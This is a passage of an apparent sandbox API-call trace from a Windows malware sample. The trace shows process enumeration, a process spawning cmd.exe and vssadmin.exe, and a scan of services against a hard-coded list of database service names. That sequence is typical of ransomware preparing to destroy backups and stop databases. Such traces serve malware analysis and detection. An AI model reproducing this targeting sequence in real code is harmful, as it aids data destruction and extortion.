th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0213.465] lstrlenW (lpString="spoolsv.exe") returned 11 [0213.465] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.465] lstrlenW (lpString="svchost.exe") returned 11 [0213.466] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.466] lstrlenW (lpString="svchost.exe") returned 11 [0213.466] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0213.467] lstrlenW (lpString="audiodg.exe") returned 11 [0213.467] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0213.468] lstrlenW (lpString="sihost.exe") returned 10 [0213.468] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.469] lstrlenW (lpString="svchost.exe") returned 11 [0213.469] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0213.470] lstrlenW (lpString="taskhostw.exe") returned 13 [0213.470] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0213.471] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0213.471] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0213.472] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0213.472] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0213.473] lstrlenW (lpString="explorer.exe") returned 12 [0213.473] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0213.474] lstrlenW (lpString="Memory Compression") returned 18 [0213.474] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0213.475] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0213.475] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0213.476] lstrlenW (lpString="SearchUI.exe") returned 12 [0213.476] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0213.477] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0213.477] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0213.477] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0213.478] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0213.497] lstrlenW (lpString="entering.exe") returned 12 [0213.497] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0213.498] lstrlenW (lpString="literally.exe") returned 13 [0213.498] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0213.499] lstrlenW (lpString="prep.exe") returned 8 [0213.499] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0213.500] lstrlenW (lpString="homeless.exe") returned 12 [0213.500] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0213.501] lstrlenW (lpString="tips.exe") returned 8 [0213.501] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0213.502] lstrlenW (lpString="rhode_cow.exe") returned 13 [0213.502] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0213.503] lstrlenW (lpString="discount.exe") returned 12 [0213.503] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0213.504] lstrlenW (lpString="littleclosest.exe") returned 17 [0213.504] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0213.504] lstrlenW (lpString="compact.exe") returned 11 [0213.505] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0213.506] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0213.506] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0213.506] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0213.507] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0213.507] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0213.507] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0213.508] lstrlenW (lpString="vincentkills.exe") returned 16 [0213.508] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0213.509] lstrlenW (lpString="armstrong.exe") returned 13 [0213.509] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0213.510] lstrlenW (lpString="superb_guilty.exe") returned 17 [0213.510] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0213.511] lstrlenW (lpString="conditional employer.exe") returned 24 [0213.511] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0213.512] lstrlenW (lpString="middle shown.exe") returned 16 [0213.512] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0213.513] lstrlenW (lpString="forced_online.exe") returned 17 [0213.513] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0213.514] lstrlenW (lpString="knitting.exe") returned 12 [0213.514] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0213.515] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0213.515] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0213.516] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0213.516] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0213.517] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0213.517] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.518] lstrlenW (lpString="svchost.exe") returned 11 [0213.518] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0213.519] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0213.519] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0213.520] lstrlenW (lpString="conhost.exe") returned 11 [0213.520] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0213.521] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0213.521] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0213.522] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0213.522] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0213.523] lstrlenW (lpString="WMIADAP.exe") returned 11 [0213.524] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0213.524] lstrlenW (lpString="11.exe") returned 6 [0213.525] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0213.525] lstrlenW (lpString="cmd.exe") returned 7 [0213.526] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0213.526] lstrlenW (lpString="conhost.exe") returned 11 [0213.526] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0213.527] lstrlenW (lpString="vssadmin.exe") returned 12 [0213.527] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0213.528] CloseHandle (hObject=0x364) returned 1 [0213.528] Sleep (dwMilliseconds=0x1f4) [0214.061] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889818 [0214.061] EnumServicesStatusExW (in: hSCManager=0x889818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0214.062] GetLastError () returned 0xea [0214.062] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x801a48 [0214.062] EnumServicesStatusExW (in: hSCManager=0x889818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x801a48, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x801a48, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0214.062] CloseServiceHandle (hSCObject=0x889818) returned 1 [0214.062] lstrlenW (lpString="Appinfo") returned 7 [0214.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0214.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0214.062] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0214.062] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0214.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0214.063] lstrlenW (lpString="AppXSvc") returned 7 [0214.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0214.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0214.063] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0214.063] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0214.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0214.063] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0214.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0214.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0214.063] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0214.063] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0214.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0214.063] lstrlenW (lpString="Audiosrv") returned 8 [0214.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0214.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0214.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0214.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0214.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0214.063] lstrlenW (lpString="BFE") returned 3 [0214.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0214.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0214.063] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0214.063] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0214.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0214.063] lstrlenW (lpString="BITS") returned 4 [0214.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0214.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0214.063] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0214.063] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0214.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0214.063] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0214.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0214.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0214.063] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0214.063] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0214.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0214.064] lstrlenW (lpString="CDPSvc") returned 6 [0214.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0214.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0214.064] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0214.064] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0214.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0214.064] lstrlenW (lpString="ClickToRunSvc") returned 13 [0214.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0214.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0214.064] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0214.064] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0214.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0214.064] lstrlenW (lpString="ClipSVC") returned 7 [0214.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0214.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0214.064] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0214.064] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0214.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0214.064] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0214.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0214.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0214.064] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0214.064] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0214.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0214.064] lstrlenW (lpString="CryptSvc") returned 8 [0214.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0214.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0214.064] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0214.064] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0214.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0214.065] lstrlenW (lpString="DcomLaunch") returned 10 [0214.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0214.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0214.065] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0214.065] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0214.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0214.065] lstrlenW (lpString="Dhcp") returned 4 [0214.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0214.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0214.065] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0214.065] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0214.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0214.065] lstrlenW (lpString="Dnscache") returned 8 [0214.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0214.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0214.065] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0214.065] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0214.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0214.065] lstrlenW (lpString="DoSvc") returned 5 [0214.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0214.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0214.065] lstrcmpiW (lpString1="sqlwriter", 